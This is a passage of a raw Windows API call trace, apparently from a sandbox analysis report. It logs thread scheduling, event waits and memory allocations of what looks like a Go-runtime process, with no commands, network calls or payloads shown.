GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0237.860] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0 [0237.860] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0237.860] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0 [0238.263] VirtualAlloc (lpAddress=0xc0000b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b6000 [0238.470] SetEvent (hEvent=0xec) returned 1 [0238.470] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0239.476] SetEvent (hEvent=0xec) returned 1 [0239.476] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0240.721] SetEvent (hEvent=0xec) returned 1 [0240.721] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0242.694] VirtualAlloc (lpAddress=0xc0000b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b8000 [0244.615] SetEvent (hEvent=0xec) returned 1 [0244.615] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0245.762] VirtualAlloc (lpAddress=0xc0000ba000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ba000 [0250.091] SetEvent (hEvent=0xec) returned 1 [0250.987] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0255.536] VirtualAlloc (lpAddress=0xc0000bc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000bc000 [0256.192] SetEvent (hEvent=0xec) returned 1 [0256.192] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0263.867] SetEvent (hEvent=0xec) returned 1 [0265.008] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0268.932] SetEvent (hEvent=0xec) returned 1 [0268.932] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0272.778] SetEvent (hEvent=0xec) returned 1 [0272.778] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0274.695] SetEvent (hEvent=0xec) returned 1 [0274.695] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0279.890] SetEvent (hEvent=0xec) returned 1 [0279.923] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0281.999] SetEvent (hEvent=0xec) returned 1 [0281.999] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0283.351] SetEvent (hEvent=0xec) returned 1 [0283.351] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0285.947] VirtualAlloc (lpAddress=0xc0000be000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000be000 [0287.262] SetEvent (hEvent=0xec) returned 1 [0287.262] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0287.925] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="GetEnvironmentVariableW") returned 0x7ffd4e1e35f0 [0288.124] SetEvent (hEvent=0xec) returned 1 [0288.124] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0288.379] GetEnvironmentVariableW (in: lpName="GODEBUG", lpBuffer=0xc0000be000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0294.305] SetEvent (hEvent=0xec) returned 1 [0294.440] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0296.589] SetEvent (hEvent=0xec) returned 1 [0296.589] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0299.523] SetEvent (hEvent=0xec) returned 1 [0299.524] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0300.771] SetEvent (hEvent=0xec) returned 1 [0300.771] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0302.618] VirtualAlloc (lpAddress=0xc0000c0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000c0000 [0302.751] SetEvent (hEvent=0xec) returned 1 [0302.751] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0305.296] VirtualAlloc (lpAddress=0xc0000c2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000c2000 [0305.464] SetEvent (hEvent=0xec) returned 1 [0305.464] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0306.579] VirtualAlloc (lpAddress=0xc0000c4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000c4000 [0306.710] SetEvent (hEvent=0xec) returned 1 [0306.710] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0307.464] VirtualAlloc (lpAddress=0xc0000c6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000c6000 [0307.464] VirtualAlloc (lpAddress=0xc0000c8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000c8000 [0307.464] VirtualAlloc (lpAddress=0xc0000ca000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ca000 [0307.465] VirtualAlloc (lpAddress=0xc0000cc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000cc000 [0307.466] VirtualAlloc (lpAddress=0xc0000d0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d0000 [0307.466] VirtualAlloc (lpAddress=0xc0000d2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d2000 [0307.466] VirtualAlloc (lpAddress=0xc0000d4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d4000 [0307.467] VirtualAlloc (lpAddress=0xc0000d8000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d8000 [0307.859] SetEvent (hEvent=0xec) returned 1 [0307.859] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) Thread: id = 142 os_tid = 0x12fc Thread: id = 143 os_tid = 0x1314 [0222.815] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x2fcfea0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2fcfea0*=0xc4) returned 1 [0222.815] VirtualQuery (in: lpAddress=0x2fcfec0, lpBuffer=0x2fcfec0, dwLength=0x30 | out: lpBuffer=0x2fcfec0*(BaseAddress=0x2fcf000, AllocationBase=0x2dd0000, AllocationProtect=0x4, __alignment1=0xfffff802, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffff9a84)) returned 0x30 [0222.912] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0223.201] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0223.354] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0223.495] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0223.564] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0224.062] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0224.295] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0224.414] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0224.497] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0224.686] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0224.890] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0225.087] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0225.151] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0225.384] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0225.529] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0225.622] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0225.647] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0226.396] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0227.242] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0227.378] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0227.756] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0227.917] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0228.224] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0228.401] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0228.867] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0229.177] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0229.314] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0229.651] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0229.983] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0230.128] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0230.133] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0230.391] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0230.547] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0230.671] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0230.791] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0231.066] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0231.228] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0231.352] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0231.510] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0231.775] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0231.877] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0232.199] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0232.421] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0232.528] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0232.658] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0232.806] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0233.123] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0233.263] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0233.437] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0233.860] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0234.277] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0234.425] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0234.603] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0235.285] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0235.767] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0236.044] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0236.185] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0236.362] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0236.684] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0236.809] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0237.839] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0238.308] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0238.665] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0238.801] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0239.103] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0239.475] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0239.607] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0240.061] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0240.268] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0240.732] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0240.868] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0242.750] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0243.849] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0244.806] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0245.482] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0246.786] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0248.457] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0249.188] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0250.109] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0250.991] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0251.577] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0252.149] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0253.716] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0255.147] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0255.367] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0256.036] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0256.725] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0261.987] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0262.697] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0262.877] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0263.388] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0264.871] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0266.445] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0267.216] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0267.799] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0268.511] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0268.947] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0270.021] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0270.933] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0271.561] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0272.497] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0272.782] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0273.187] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0273.830] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0274.471] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0274.756] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0276.080] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0276.883] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0277.475] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0278.809] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0279.486] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0279.934] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0280.406] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0281.010] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0281.640] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0282.007] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0282.410] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0282.915] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0283.350] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0283.685] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0284.360] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0285.140] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0285.493] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0286.027] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0287.265] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0287.507] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0287.803] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0287.974] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0288.254] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0288.587] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0291.428] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0292.528] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0293.147] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0293.939] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0294.295] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0294.709] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0295.161] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0295.724] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0296.550] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0296.841] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0298.347] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0299.235] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0299.533] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0299.668] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0300.261] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0300.456] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0300.782] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0301.137] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0302.004] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0302.552] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0302.768] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0302.943] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0304.077] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0304.994] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0305.470] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0305.920] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0306.432] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0306.710] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0306.837] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0307.443] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) returned 0x102 [0307.859] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x2fcfe40) Thread: id = 144 os_tid = 0x1328 [0223.202] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x31cfea0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x31cfea0*=0xc8) returned 1 [0223.202] VirtualQuery (in: lpAddress=0x31cfec0, lpBuffer=0x31cfec0, dwLength=0x30 | out: lpBuffer=0x31cfec0*(BaseAddress=0x31cf000, AllocationBase=0x2fd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffff9a84)) returned 0x30 [0223.202] SwitchToThread () returned 1 [0223.354] VirtualAlloc (lpAddress=0xc000032000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000032000 [0223.356] VirtualAlloc (lpAddress=0xc000034000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000034000 [0223.356] VirtualAlloc (lpAddress=0xc000036000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000036000 [0223.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4604f0, lpParameter=0xc000032000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4 [0223.358] CloseHandle (hObject=0xd4) returned 1 [0223.358] SetEvent (hEvent=0xcc) returned 1 [0223.358] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd4 [0223.358] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd8 [0223.358] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0223.653] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0224.415] SetEvent (hEvent=0xcc) returned 1 [0224.415] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0225.088] SetEvent (hEvent=0xcc) returned 1 [0225.088] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0225.641] SetEvent (hEvent=0xcc) returned 1 [0225.641] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0227.378] SetEvent (hEvent=0xcc) returned 1 [0227.378] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0228.226] SetEvent (hEvent=0xcc) returned 1 [0228.226] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0229.313] SetEvent (hEvent=0xcc) returned 1 [0229.314] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0230.128] SetEvent (hEvent=0xcc) returned 1 [0230.128] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0230.693] SetEvent (hEvent=0xcc) returned 1 [0230.693] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0 [0231.228] SwitchToThread () returned 1 [0231.352] SetEvent (hEvent=0xec) returned 1 [0231.352] SetEvent (hEvent=0xcc) returned 1 [0231.352] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) Thread: id = 145 os_tid = 0x132c [0223.359] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x33cfea0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x33cfea0*=0xdc) returned 1 [0223.359] VirtualQuery (in: lpAddress=0x33cfec0, lpBuffer=0x33cfec0, dwLength=0x30 | out: lpBuffer=0x33cfec0*(BaseAddress=0x33cf000, AllocationBase=0x31d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffff9a84)) returned 0x30 [0223.359] CreateEventA (lpEventAttributes=0x0, bManualReset=0, 